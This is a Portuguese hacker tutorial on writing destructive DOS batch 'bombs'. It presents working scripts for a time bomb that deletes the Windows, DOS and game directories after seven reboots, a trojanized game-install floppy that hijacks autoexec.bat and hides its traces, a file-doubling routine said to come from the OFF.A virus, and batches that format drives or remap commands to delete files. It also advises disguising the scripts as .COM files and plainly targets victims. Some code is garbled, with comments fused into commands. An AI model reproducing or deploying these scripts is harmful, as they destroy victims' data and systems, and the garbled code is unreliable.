copy c:\dos\system\spaece.dll c:\dos\system\configs\off.dll
copy c:\dos\system\configs\*.* c:\dos\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:off < Aqui, como ele não achou diretorio Windows, Win, WIn95, Win-95 ou DOS, como ultimo recurso ele cria o Off
c:\
cd\
md off
cd off
md system
cd system
cd configs
echo> off.ppp test
cd\
cd off
cd system
if not exist off.ppp goto 7
md configs
goto 7
:7
if exist spaece.dll goto 27
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:27
cd configs
copy c:\off\system\spaece.dll c:\off\system\configs\teste.dll
copy c:\off\system\spaece.dll c:\off\system\configs\off.dll
copy c:\off\system\configs\*.* c:\off\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:fim
cls
=====fim=====
O ARQUIVO ACIMA FOI TIRADO DO VIRUS DE MACRO OFF.A, ISSO É PARA VER COMO OS ARQUIVOS .BAT SÃO UTEIS PARA MUITAS COISAS, ATÉ PARA VIRUS.
--------------------------------------------------------------------------------
Agora um arquivo que só ataca o computador depois que ele for re-ligado 7 vezes.
O que acontece, é muito simples, da primeira vez que o computador é ligado o WIN.BAT cria o arquivo lig1.drv, da segunda vez, ele cria o lig2.drv ..... da sexta vez ele cria o lig6.drv e da setima vez ele procura pelo arquivo lig6.drv, se ele encontrar ele vai deletar o windows e o diretorio onde estão os jogos.
BOMBA RELOGIO
WIN.BAT
=====inicio=====
c:\
cd\
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
dletree/y c:\windows >null
dletree/y c:\win >null
dletree/y c:\win-95 >null
dletree/y c:\win_95 >null
dletree/y c:\win95 >null
dletree/y c:\dos >null
dletree/y c:\jogos >null
dletree/y c:\games >null
del *.* >null
:fim
=====fim=====
--------------------------------------------------------------------------------
Arquivo para travar o computador da vitima.
TRAVO!!!
WIN.BAT
=====inicio=====
c:\
cd\
echo off
echo > trav.exe sdfsdfsdf executa o arquivo exe, resultando no travamento do computador.
=====fim=====
--------------------------------------------------------------------------------
Prara finalizar, veja como criar um arquivo bomba apartir de um disquete, para dar aquele seu vizinho
chato que vive pedindo tudo quanto é jogo. O arquivo não deixara rastro para niguem nem se quer imaginar
que foi do seu disco que saiu a bomba, e a bomba só atacara depois que o computador for re-iniciado 7 vezes.
Bom, primeiro de tudo, pegue um jogo qualquer e passe para disquete (no nosso exemplo sera usado o jogo prince)
depois serão criados 6 arquivos que devem ficar na raiz do disquete:
INSTALL.BAT
T.BAT
WIN.PTY
A.PTY
AUTO.PTY
INSTALL.PTY
--------------------------------------------------------------------------------
INSTALL.BAT
=====inicio=====
echo Off
c:\
cd\
copy a:\win.pty renomeia os arquivos .pty para .bat
a:
deltree/y a.pty >null null
deltree/y win.pty >null
deltree/y t.bat >null
del null
c:\
cd\
t.bat
=====fim=====
--------------------------------------------------------------------------------
T.BAT
=====inicio=====
a:\
deltree/y install.bat >null null
rename install.pty install.bat daqui pra frente é só a instalação do jogo.
c:\
cd\
md prince
cd prince
copy a:\*.*
deltree/y install.bat >null
del null
cls
@echo Jogo instalado em c:\prince
=====fim=====
--------------------------------------------------------------------------------
WIN.PTY
=====inicio=====
echo off
c:
cd\
md p
cd p
if exist auto.pty goto www
copy c:\autoexec.bat c:\p\auto.pty
echo> p.pty c:\auto.bat
cd\
copy c:\p\*.* c:\autoexec.bat os duis arquivos pty, assim colocando no fim do autoexec um comando para que o arquivo auto.bat seja executado.
:www
cd\
a.bat
=====fim=====
--------------------------------------------------------------------------------
A.PTY
=====inicio=====
echo off
del win.bat
del t.bat
CLS
WIN
=====fim=====
--------------------------------------------------------------------------------
AUTO.PTY
=====inicio=====
echo off
c:
cd\
if exist lig1.drv goto 2 <é aquele mesmo arquivo BOMBA RELOGIO
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
doskey cd dir/s
doskey dir mem
doskey copy dir
doskey del dir/s
doskey deltree dir/s
doskey doskey cls
attrib +r c:\autoexec.bat
attrib +r c:\auto.bat
:fim
cls
=====fim=====
--------------------------------------------------------------------------------
INSTALL.PTY
=====inicio=====
echo Off é o install que ficara no disquete depois que a bomba foi executada, assim eliminando qualquer suspeita.
c:\
cd\
md prince
cd prince
copy a:\*.*
cls
@echo Jogo instalado em c:\prince
=====fim=====
--------------------------------------------------------------------------------
Como vcs viram os arquivos .BAT são muito uteis, e tem mais, para aqueles que querem
fazer virus de macro no word, mais sebem muito pouco sobre programação em word basic,
podem dar uma olhada em um pequeno tutorial sobre o virus de macro para word em ingles
e portugues PIRATA, que utiliza como ataque os arquivos .BAT vale apena olhar a parte
sobre virus para ver que o potencial dos arquivos .BAT não fica só no que foi mostrado aqui.
--------------------------------------------------------------------------------
INTERESSANTE.
Existem programas que transformam esses arquivos .BAT em .COM, é muito facil de usar,
e muito mais dificil alguem desconfiar de um arquivo .COM, o mais famoso copilador de
arquivos de lote (.BAT) é o BAT2EXE.COM para consegui-lo, se vire, consiguir este arquivo
da muito trabalho, você tera que dar um click aqui e esperar 31,7 KB passarem pelo fio do seu telefone!!!! ;^) --hehe
--------------------------------------------------------------------------------

MS-DOS Commands

Comandos do DOS
Essa parte contém vários comandos que podem ser utilizados não só em BADCOMS mas em batches inofensivos. Para maiores informações sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opção /?.
Exemplos:
C:\ echo /?
C:\ format /?
C:\ for /?
Comandos do DOS
2.1)
ECHO 2.2) DEL/ERASE
2.3)
DELTREE 2.4) FORMAT
2.5)
FOR 2.6) IF
2.7) SET/VARIÁVEIS NO DOS
2.8)
GOTO 2.9)
VER 2.10)
VOL 2.11) CLS
2.12) ATTRIB
2.13) CALL
2.14) CHOICE E ERRORLEVELS
2.15) COPY
2.16) CTTY
2.17) DIR
2.18) TYPE
2.19)
MORE 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
2.21)
LABEL 2.22)
FIND 2.23)
PAUSE 2.24) REN/RENAME
2.25)
SUBST 2.26) TIME
2.27) REM
2.28) DOSKEY
2.29) XCOPY
2.1) ECHO
Sintaxe: ECHO [string]
Exemplo: C> echo Fuck You
Fuck You
O comando ECHO, de forma geral, exibe uma string na tela. Caso
essa string seja OFF, desativar a exibi‡Æo dos comandos na
tela. Se for ON, ativar a mesma.
Exemplo de arquivo:
[echo1.bat]
echo on
echo ECHO est ativado
echo off
echo ECHO est desativado
Quando vocˆ rodar esse programa, ver o seguinte:
C> echo on
C> echo ECHO est ativado
ECHO est ativado
C> echo off
ECHO est desativado
Colocar uma @ antes do primeiro comando de cada linha, equivale
ao ECHO OFF, mas apenas nessa linha. Para que o programa fique
melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha
do programa, assim vocˆ nÆo precisa colocar uma @ antes de cada
linha.
2.2) DEL/ERASE
Sintaxe: DEL [nome_do_arquivo]
ERASE [nome_do_arquivo]
Exemplos: C> del autoexec.bat
C> erase autoexec.bat
Esse comando nÆo precisa de muita explica‡Æo. Apenas exclui o
arquivo especificado. WildCards podem ser usadas (* e ?).
2.3) DELTREE
Sintaxe: DELTREE (/Y) [nome_do_arquivo]
Exemplos: C> deltree c:\windows
C> deltree /y c:\games
Tamb‚m nÆo tem muito segredo. Exclui um diret¢rio e tudo que
tiver dentro dele. A op‡Æo /Y detona tudo sem pedir confirma‡Æo
mas deve ser usado logo ap¢s o comando DELTREE. Isso NÇO
funcionaria:
C> deltree c:\windows /y
2.4) FORMAT
Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]
Exemplos: C> format /q a:
C> format /u c:
O comando mais divertido que pode ser usado em BADCOMS. Fode o
drive especificado literalmente. A op‡Æo /Q realiza uma formata‡Æo
r pida e /U realiza uma formata‡Æo incondicional. A op‡Æo /V:label
espeficifica o nome do volume da unidade, nÆo tem muito segredo...
Mas se o drive especificado for um HD aparecer uma pergunta
est£pida, que o cara responde NÇO e mant‚m o HD a salvo.
Veja mais a frente como resolver isso.
2.5) FOR
Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a
Exemplo: C> for %a in (autoexec.bat config.sys) do del %a
Supunhetemos que vocˆ queira executar o mesmo comando pra v rios
arquivos. Ao inv‚s de escrever o mesmo comando uma porrada de
vezes, use o comando FOR. Explicando detalhadamente: o comando
FOR define uma vari vel chamada %a (ou qualquer letra) e define o
valor dessa vari vel com os nomes que estÆo entre parˆnteses.
Feito isso, executa um comando cujo parƒmetro principal ‚ a
vari vel %a.
Outro exemplo:
C> for %a in (autoexec.bat config.sys command.com) do del %a
Far o seguinte:
C> del autoexec.bat
C> del config.sys
C> del command.com
Simples, nÆo?
2.6) IF
Sintaxe: IF [condi‡Æo] [comando]
Exemplos: if exist c:\autoexec.bat del autoexec.bat
if not exist c:\1.bat echo 1 j foi deletado
if "%1"=="fuckyou" echo Fuck You
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1
O comando IF testa uma condicional e se ela for verdadeira,
executa um comando. O primeiro exemplo verifica se existe o
arquivo c:\autoexec.bat e se existir, deleta ele. O segundo
exemplo testa se o arquivo c:\autoexec.bat NÇO existe. Se nÆo
existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo
testa se a vari vel %1 ‚ igual a "fuckyou". Se for, exibe a
mensagem "Fuck You". O quarto exemplo testa se a vari vel %1 ‚
DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You".
O £ltimo exemplo testa se foi retornado um errorlevel igual a 1.
Veja sobre os errorlevels mais a frente.
2.7) SET/VARIμVEIS NO DOS
Sintaxe: SET [vari vel] = [valor]
Exemplos: set variavel = qualquermerda
set drive = C:\
O comando SET define uma vari vel de ambiente no DOS. Isso ‚
muito £til na programa‡Æo de batches. Acho que com um exemplo
fica melhor de explicar:
C> set scream=argh
Isso criar uma vari vel chamada "scream" e definir seu valor
como "argh". Se vocˆ escrever no DOS:
C> echo %scream%
Ver a palavra "argh" no lugar de "%scream%":
C> echo %scream%
argh
Ou seja, sempre que vocˆ quiser fazer uma referˆncia a uma
vari vel j definida, usa-se %nome_da_vari vel%. Como unir duas
vari veis em uma s¢: suponhamos que vocˆ tenha duas vari veis. Uma
chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o
valor "8910" se vocˆ quiser juntar as duas, ‚ s¢ fazer o seguinte:
C> set BAAAAHHH=%bah1% ; %bah2%
Neste exemplo est£pido que eu dei nÆo parece ser uma coisa
muito £til, mas nÆo se engane porque ! Outro tipo de vari vel sÆo
as especificadas na linha de comando. Elas sÆo %1, %2, %3 at‚ %9.
Como eu disse elas sÆo especificadas na linha de comando, ou
seja quando vocˆ roda o batch. Exemplo:
[hd_fuck.bat]
@echo off
if "%1" == "" goto erro
echo Preparando pra fuder o drive %1!
format %1
goto fim
:erro
echo Seu imbecil, especifique o drive que vocˆ quer detonar!
goto fim
:fim
Rodando o arquivo dessa maneira...
C> hd_fuck C:
...vocˆ ver o seguinte:
Preparando pra fuder o drive C:!
AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C:
SERÇO PERDIDOS!
Continuar com o Format (S/N)?
Mas se nÆo especificar nenhum parƒmetro...
C> hd_fuck
...resulta em:
Seu imbecil, especifique o drive que vocˆ quer detonar!
Como vocˆ p"de perceber, 1% nesse exemplo era igual a C:.
Note que foi utilizado o comando IF para verificar se a vari vel
%1 era existente. Outra coisa que nÆo pode passar despercebida
foi o uso do comando GOTO que ser explicado logo a seguir...
Mais um detalhe: o FORMAT pediu a confirma‡Æo idiota antes de
detonar o HD... Em breve resolveremos isso... 8-)
2.8) GOTO
Sintaxe: GOTO [nome]
Exemplos: goto hora_de_fuder_o_hd
goto erro
O comando GOTO s¢ pode ser usado dentro de arquivos batch e
serve para direcionar o programa para a linha especificada em
[nome]. Quando o DOS encontra essa linha, executa todos os
comandos existentes a partir dela. O nome da linha ‚ especificado
com um :[nome]. Exemplo:
[goto.bat]
@echo off
goto fuckyou
echo Vocˆ vai se fuder...
:fuckyou
echo Se fudeu!
Muito simples. Logo no come‡o do programa DOS ‚ direcionado para
a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja,
a segunda linha, "echo Vocˆ vai se fuder..." nÆo ‚ executada
porque o DOS foi direcionado pra uma linha APàS esse comando.
LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo:
[loop.bat]
@echo off
:loop
dir
goto loop
Isso roda o comando DIR infinitamente, at‚ o cara apertar CTRL+C
ou desligar o computador...
2.9) VER
Sintaxe: VER
Exemplo: BAH!
Exibe qual a versÆo do DOS vocˆ est usando.
Aparentemente ‚ um comando idiota e sem utilidade mas com um pouco
decriatividade ele se torna um comando MUITO £til... Vocˆ vai
entender mais pra frente...
2.10) VOL
Sintaxe: VOL
Exemplo: BAH!
Mostra o nome de volume da sua unidade... Semelhante ao comando
acima, muito £til pra quem ‚ criativo.
2.11) CLS
Sintaxe: CLS
Exemplo: BAH!
Apaga tudo que tem na tela.
2.12) ATTRIB
Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]
ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]
Exemplos: attrib +h c:\ruimdows
attrib +s c:\config.sys
attrib -r c:\command.com
Define um attributo pra um arquivo ou diret¢rio. ¢bvio que o
sinal de mais (+) indica que um atributo est sendo definido e um
sinal de menos (-) indica que um atributo est sendo removido. Os
atributos sÆo:
A -> Atributo de Arquivo. Que diabos ‚ isso? Supunhetemos que
vocˆ queira copiar todos os arquivos que estÆo em um
disquete para outro, menos os de extensÆo .VIR. O que vocˆ
faz?
C> attrib +a a:\*.*
C> attrib -a a:\*.vir
A¡ vocˆ usa o comando XCOPY:
C> xcopy a: b: /a
Meio esquisito, mas ‚ isso...
R -> Atributo de somente para leitura. O arquivo nÆo pode ser
modificado ou deletado a nÆo ser que o atributo seja
removido.
H -> Atributo de arquivo oculto. S¢ um burro pra nÆo perceber
que isso esconde o arquivo.
S -> Atributo de arquivo de sistema. Acho que, na pr tica, ‚ a
mesma coisa que o atributo H.
2.13) CALL
Sintaxe: CALL [nome_do_arquivo_batch]
Exemplo: call virus.bat
Comando usando DENTRO de arquivos batch que serve para chamar
OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem
parar de rodar o primeiro. Exemplo:
[1.bat]
@echo off
echo Esse ‚ o arquivo batch 1...
call 2.bat
echo De volta pro batch 1...
[2.bat]
@echo off
echo Esse ‚ o arquivo batch 2...
Resulta em:
C> 1
Esse ‚ o arquivo batch 1...
Esse ‚ o arquivo batch 2...
De volta pro batch 1...
2.14) CHOICE & ERRORLEVELS
Sintaxe: CHOICE /C:[teclas] [texto]
Exemplo: choice /c:123 Escolha uma op‡Æo:
Esse comando exibe uma mensagem, espera que o usu rio escolha
uma das teclas especificadas e retorna um valor de errorlevel,
de acordo com a tecla.
[fuck.bat]
@echo off
choice /c:123 Escolha uma op‡Æo:
if errorlevel 3 goto opcao3
if errorlevel 2 goto opcao2
if errorlevel 1 goto opcao1
:opcao1
echo Op‡Æo 1 escolhida
goto fim
:opcao2
echo Op‡Æo 2 escolhida
goto fim
:opcao3
echo Op‡Æo 3 escolhida
goto fim
:fim
Rodando isso, vai acontecer o seguinte:
C> fuck
Escolha uma op‡Æo:[1,2,3]?
Se vocˆ escolher a op‡Æo 1:
C> fuck
Escolha uma op‡Æo:[1,2,3]?1
Op‡Æo 1 escolhida
Se escolher a 2:
C> fuck
Escolha uma op‡Æo:[1,2,3]?2
Op‡Æo 2 escolhida
E por £ltimo:
C> fuck
Escolha uma op‡Æo:[1,2,3]?3
Op‡Æo 3 escolhida
Ou seja, o comando CHOICE ‚ muito ‚til para a cria‡Æo de menus,
etc.
Mas o que diabos sÆo os ERRORLEVELS? SÆo valores retornados
pelos comandos do DOS, de acordo com o que causou o fim do
programa.
Geralmente, quando um comando/programa pra DOS termina normalmente,
sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores
variam de acordo com os comandos. Veja uma lista de ERRORLEVELS
mais adiante.
Os errorlevels s¢ podem ser usados com o comando IF. Usando esse
recurso, vocˆ tornar seus batches melhores pois o mesmo poder
tomar decisäes de acordo com o valor de errorlevel.
Note que, quando vocˆ usa o comando CHOICE, o comando IF deve
testar os valores de errorlevel do maior para o menor.
Veja um exemplo:
[errorlev.bat]
@echo off
del autoexec.bat
if errorlevel 0 echo NÇO OCORREU NENHUM PROBLEMA
Isso far o seguinte:
C> errorlev
NÇO OCORREU NENHUM PROBLEMA
L¢gico que essa mensagem s¢ ser exibida se nenhum erro ocorrer.
Explicando melhor: se nÆo ocorrer nenhum problema na hora de
deletar o arquivo, o DEL retornar um errorlevel 0. Vocˆ tamb‚m
pode fazer assim:
[errorsuck.bat]
@echo off
del c:\config.sys
if not errorlevel 0 goto OPS
echo NÆo ocorreu nenhum problema.
goto fim
:OPS
echo Alguma coisa errada ocorreu.
goto fim
:fim
Esse exemplo ‚ melhor, pois testa se o comando DEL NÇO retornou
um errorlevel 0. Como o errorlevel 0 significa que nada de errado
ocorreu, um errorlevel diferente de 0 significa que algo anormal
aconteceu.
Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada
ocorreu" mas se tudo der certo exibe "NÆo ocorreu nenhum problema".
2.15) COPY
Sintaxe: COPY [origem] [destino]
Exemplos: copy *.* c:\ruimdows
copy c:\win95\*.* c:\autoexec.bat
Copia os arquivos especificados para um diret¢rio ou para outro
arquivo.
2.16) CTTY
Sintaxe: CTTY [novo_dispositivo_de_entrada]
Exemplo: ctty nul
Este comando altera o dispositivo de entrada de dados do padrÆo
(teclado) para outro que vocˆ especificar.
Mais tarde vocˆ entender melhor isso...
2.17) DIR
Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]
Exemplos: dir /s
dir autoexec.bat
Este comando nÆo tem muito segredo. Se vocˆ nÆo souber usar o
comando DIR, escreva no prompt do DOS:
C> echo s | format c:
2.18) TYPE
Sintaxe: TYPE [nome_de_arquivo]
Exemplo: type msdos.sys
NÆo tem complica‡Æo. Exibe o conte£do de um arquivo (sem fazer
pausa entre as p ginas). Pode ser usado em conjunto com o comando
MORE.
2.19) MORE
Sintaxe: MORE [nome_do_arquivo]
TYPE [nome_do_arquivo] | MORE (depende da versÆo do DOS)
Exemplo: more sucks.txt
type badcom.faq | more
O comando MORE ‚ idˆntico ao comando TYPE, mas ao final de cada
p gina, faz uma pausa. Em versäes mais antigas do DOS, o MORE s¢
funciona se for feito um PIPE com o comando TYPE.
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
Sintaxe: MD [nome_do_diret¢rio] ou MKDIR [nome_do_diret¢rio]
CD [diret¢rio] ou CHDIR [diret¢rio]
RD [diret¢rio_vazio] ou RMDIR [diret¢rio_vazio]
MD/MKDIR cria um diret¢rio, CD/CHDIR chama (vai para) um
diret¢rio e o RD/RMDIR deleta um diret¢rio (s¢ se o dito cujo
estiver VAZIO).
2.21) LABEL
Sintaxe: LABEL [nome_de_volume]
Exemplo: label se_fudeu
Muda o nome de volume da unidade atual.
2.22) FIND
Sintaxe: FIND "string_procurada" [nome_do_arquivo]
Exemplo: find "fuck" c:\trash.txt
Procura por uma string em um determinado arquivo. Muito £til se
utilizado juntamente com os errorlevels.
2.23) PAUSE
Sintaxe: PAUSE
Exemplo: BAH!
Faz uma pausa no batch, at‚ que o usu rio pressione qualquer
tecla. Tamb‚m exibe a mensagem " Pressione qualquer tecla para
continuar..."
2.24) REN/RENAME
Sintaxe: REN [nome_do_arquivo] [novo_nome]
RENAME [nome_do_arquivo] [novo_nome]
Exemplos: ren autoexec.bat noway.bat
rename config.sys huahuahua.com
Muda o nome de um arquivo.
2.25) SUBST
Sintaxe: SUBST [nova_letra_de_unidade] [caminho]
SUBST [unidade] /D
Exemplo: subst f: c:\fuck
subst f: /d
Define uma letra de unidade para um determinado diret¢rio.
Se vocˆ usar a op‡Æo /D, o SUBST vai desativar a letra da unidade
Jμ CRIADA pelo comando SUBST. S¢ vai funcionar se houver a
seguinte linha no CONFIG.SYS:
LASTDRIVE=Z
2.26) TIME
Sintaxe: TIME
Exemplo: BAH!
Exibe a hora atual.
2.27) REM
Sintaxe: REM [texto]
Exemplo: rem Este ‚ um coment rio
O comando REM ‚ usado quando vocˆ quer adicionar um coment rio
ao seu batch.
2.28) DOSKEY
Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off
Exemplo: doskey dir del *.*
O DOSKEY tem v rias utilidades, mas s¢ vou explicar uma, talvez
a mais £til delas. Usando o DOSKEY vocˆ pode criar macros, ou seja
atribuir comandos a palavras (como um ALIAS). A utilidade disso
num BADCOM ‚ que vocˆ pode trocar os comandos do DOS do cara por
outros. Veja o exemplo acima. Esse exemplo faz com que o comando
DIR execute o comando DEL *.*. Vocˆ pode usar isso como um Time
Bomb ou pode apenas deixar sua v¡tima com o saco cheio mudando
todos os comandos do DOS para besteiras sem sentido nenhum.
A op‡Æo /ECHO define se os comandos da macro serÆo exibidos. Se
for desativado, ‚ equivalente ao "@ECHO OFF". Alguns caracteres
especiais de c¢digo de defini‡Æo de macro:
$T: Separador de comando. Permite v rios comandos em uma s¢
macro.
$1 a $9: Parƒmetros da macro. Igual a %1 a %9.
$*: S¡mbolo substitu¡do por tudo ap¢s o nome da macro na linha
de comando.
Um detalhe, se sua v¡tima pressionar ALT+F10 todas as macros que
vocˆ criou serÆo desativadas.
2.29) XCOPY
Sintaxe: XCOPY [origem] [destino] [/S]
Exemplo: xcopy c:\games d:\fuck /s
Semelhante ao COPY, s¢ que mais r pido, pois carrega todos os
arquivos na mem¢ria e s¢ depois copia-os. Se a op‡Æo /S for usada
todos os subdiret¢rios e arquivos de um diret¢rio tamb‚m serÆo
copiados.
COMANDOS BÁSICOS:
Bom, para iniciarmos temos que ter em mente que os arquivos .BAT
tem como objetivo guardar comandos pré digitados para executalos quando solicitado.
Esses arquivos são de muita utilidade, podemos criar sistemas de Bakup, instalação de programas, etc...
No nosso caso, arquivos bomba. Os arquivos bomba nada mais são comandos que podem ser destrutivos ou não, de acordo
com o que pretendemos criar.
Para começarmos vou dar alguns dos comandos uteis para o nosso projeto
e depois exemplos de como eles podem ser utilizados para bombas destrutivas e não destrutivas.
--------------------------------------------------------------------------------
LISTA DE COMANDOS:
ECHO OFF
Serve para não mostrar na tela os comandos que o arquivo .BAT esta executando. Como por exemplo,
se vc faz um arquivo bomba e não usa este comando e o arquivo contem o comando DEL*.* aparecera
na tela da vitima C:\DEL *.* assim dando tempo da vitima desligar o computador antes de ter seus
arquivos deletados. Se vc usar o comando ECHO OFF não aparecera nada na tela, e a vitima nem
sabera o que aconteceu.
--------------------------------------------------------------------------------
@ECHO
Serve para mostrar texto na tela, por exemplo eu quero que apareça na tela o seguinte texto:
========================
Seu computador foi destruido por:
M@quiavel
========================
Então eu terei que digitar:
@ECHO ========================
@ECHO Seu computador foi destruido por:
@ECHO M@quiavel
@ECHO ========================
ATENÇÃO:
Um erro que eu cometia, e ja vi muita gente fazer é confundir os dois primeiros comandos da seguinte maneira:
@ECHO OFF < O cara queria digitar ECHO OFF e digitou @ECHO OFF
O comando @ECHO OFF ao inves de não mostar os comandos na tela, vai mostrar na tela a palavra OFF.
O comando @ECHO OFF pode funcionar em alguns computadores dependendo da configuração, mas para não ariscar procure usar o comando ECHO OFF)
--------------------------------------------------------------------------------
ECHO >NOMEARQUIVO COMANDO
Serve para que um arquivo de lote (.BAT no nosso caso) crie outro arquivo. Exemplo:
ECHO> PIRATA.BAT DIR
No nosso exemplo ele criou um arquivo chamado PIRATA.BAT que possui dentro dele o comando DIR
--------------------------------------------------------------------------------
CLS
Comando para limpar a tela.
--------------------------------------------------------------------------------
ATTRIB
Comando que serve para ocultos, de sistema, etc. Para mais informações sobre o ATTRIB,
digite no prompt do DOS ATTRIB/?
--------------------------------------------------------------------------------
MD
Serve para criar diretorios, Exemplo:
MD PIRATA
--------------------------------------------------------------------------------
CD
Serve para entrar em diretorios, exemplo:
CD PIRATA
--------------------------------------------------------------------------------
COPY
Serve para copiar arquivos. Exemplo
COPY C:\AUTOEXEC.BAT
--------------------------------------------------------------------------------
DEL
Serve para deletar arquivos, melhor maneira de usar o comando DEL é:
DEL *.COM < Ou a extenção que vc quiser, *.BAT *.EXE *.INI *.SYS etc...
Usando o comando dessa maneira, o programa não ira confirmar se vc realmante deseja excluir o arquivo.
--------------------------------------------------------------------------------
DELTREE
Existem três maneiras de utilizar o comando DELTREE:
1ª - DELTREE C:\WINDOWS < BUG, vai aparecer a pergunta se vc deseja realmente deletar o diretorio WINDOWS.
2ª - DELTREE/Y C:\WINDOWS NULL é o comando ideal para o DELTREE.
--------------------------------------------------------------------------------
Bom, agora vamos colocar nossos conhecimentos em pratica. Vamos criar uma bomba chamada install.bat
no prompt do DOS digite EDIT INSTALL.BAT (ENTER)
Aparecera uma tela normalmante azul. Estando lá dentro vamos colocar os nossos comandos maus.
======inicio=======
ECHO OFF Vai para a unidade de disco C:\
CD\ ---------------------------------< Sai de qualquer diretorio que se possa estar
DEL *.SYS ------------------------- NULL ----------------------- o windows
CLS
@ECHO SEU COMPUTADOR FOI DETONADO POR:
@ECHO PIRATA
@ECHO HE HE HE HE HE HE HE HE HE HE HE HE
======fim=========
Pronto, temos um arquivo que deleta o Windows e arquivos .sys, e ainda deixa uma menssagem estupida na tela da vitima.
PARA EXECUTAR A BOMBA BASTA DIGITAR INSTALL
--------------------------------------------------------------------------------
O TEXTO ACIMA DA UMA NOÇÃO MUITO BASICA DO QUE SIMPLES ARQUIVOS BAT PODEM FAZER, PARA FAZER ARQUIVOS QUE SÃO REALMENTE BOMBAS
LEIA OS TEXTOS SOBRE CRIAÇÃO DE BOMBA .BAT NO MODO INTERMEDIARIO, E AVANÇADO.
--------------------------------------------------------------------------------
AVANÇADO
Agora a diversão vai começar, vamos colocar todo o nosso conhecimento em pratica.
Para começar vamos mostrar como fazer um arquivo, que dobra o seu tamanho cada vez
que o computador é ligado.
A função desses arquivos são muito simples, são três arquivos que devem ser colocados
na raiz (C:\) do computador da vitima. Esse arquivos vão colocar um arquivo .DLL no
system do Windows, e esse arquivo vai dobrar o seu tamanho cada vez que o computador for ligado.
DOBLESPACE é o nOME que eu dei para o arquivo.
Arquivos a ser criado:
WIN.BAT
A.BAT
AUTO.BAT
--------------------------------------------------------------------------------
WIN.BAT
=====inicio=====
echo off
c:
cd\
md p
cd p
if exist auto.pty goto www
copy c:\autoexec.bat c:\p\auto.pty
echo> p.pty c:\auto.bat
cd\
copy c:\p\*.* c:\autoexec.bat
:www
cd\
a.bat
=====fim=====
--------------------------------------------------------------------------------
A.BAT
=====inicio=====
del win.bat
CLS
WIN
=====fim=====
--------------------------------------------------------------------------------
AUTO.BAT
=====inicio=====
echo off
c:
cd\
cd windows
echo> windows.ppp test se o arquivo for encontrado, é porque não existe o diretoro Windows, então ele vai para a opção win, caso contrario ele vai para a proxima linha
cd windows
cd system
cd configs
echo> windows.ppp test procura pelo arquivo spaece.dll, se ele ja existir ele vai para :22
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg copia o arquivo spaece.dll como teste.dll
copy c:\windows\system\spaece.dll c:\windows\system\configs\off.dll junta os dois arquivos, e o copia como spaece.dll, assim duplicando o seu tamanho.
del o*.dll deleta as copias
cd\
goto fim
:win win.ppp test
cd\
if exist win.ppp goto win95
cd win
md system
cd system
cd configs
echo> win.ppp test
cd\
cd win
cd system
if not exist win.ppp goto 3
md configs
goto 3
:3
if exist spaece.dll goto 23
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:23
cd configs
copy c:\win\system\spaece.dll c:\win\system\configs\teste.dll
copy c:\win\system\spaece.dll c:\win\system\configs\off.dll
copy c:\win\system\configs\*.* c:\win\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:win95
c:
cd\
cd win95
echo> win95.ppp test
cd\
if exist win95.ppp goto win-95
cd win95
md system
cd system
cd configs
echo> win95.ppp test
cd\
cd win95
cd system
if not exist win95.ppp goto 4
md configs
goto 4
:4
if exist spaece.dll goto 24
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:24
cd configs
copy c:\win95\system\spaece.dll c:\win95\system\configs\teste.dll
copy c:\win95\system\spaece.dll c:\win95\system\configs\off.dll
copy c:\win95\system\configs\*.* c:\win95\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:win-95
c:
cd\
cd win-95
echo> win-95.ppp test
cd\
if exist win-95.ppp goto dos
cd win-95
md system
cd system
cd configs
echo> win-95.ppp test
cd\
cd win-95
cd system
if not exist win-95.ppp goto 5
md configs
goto 5
:5
if exist spaece.dll goto 25
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:25
cd configs
copy c:\win-95\system\spaece.dll c:\win-95\system\configs\teste.dll
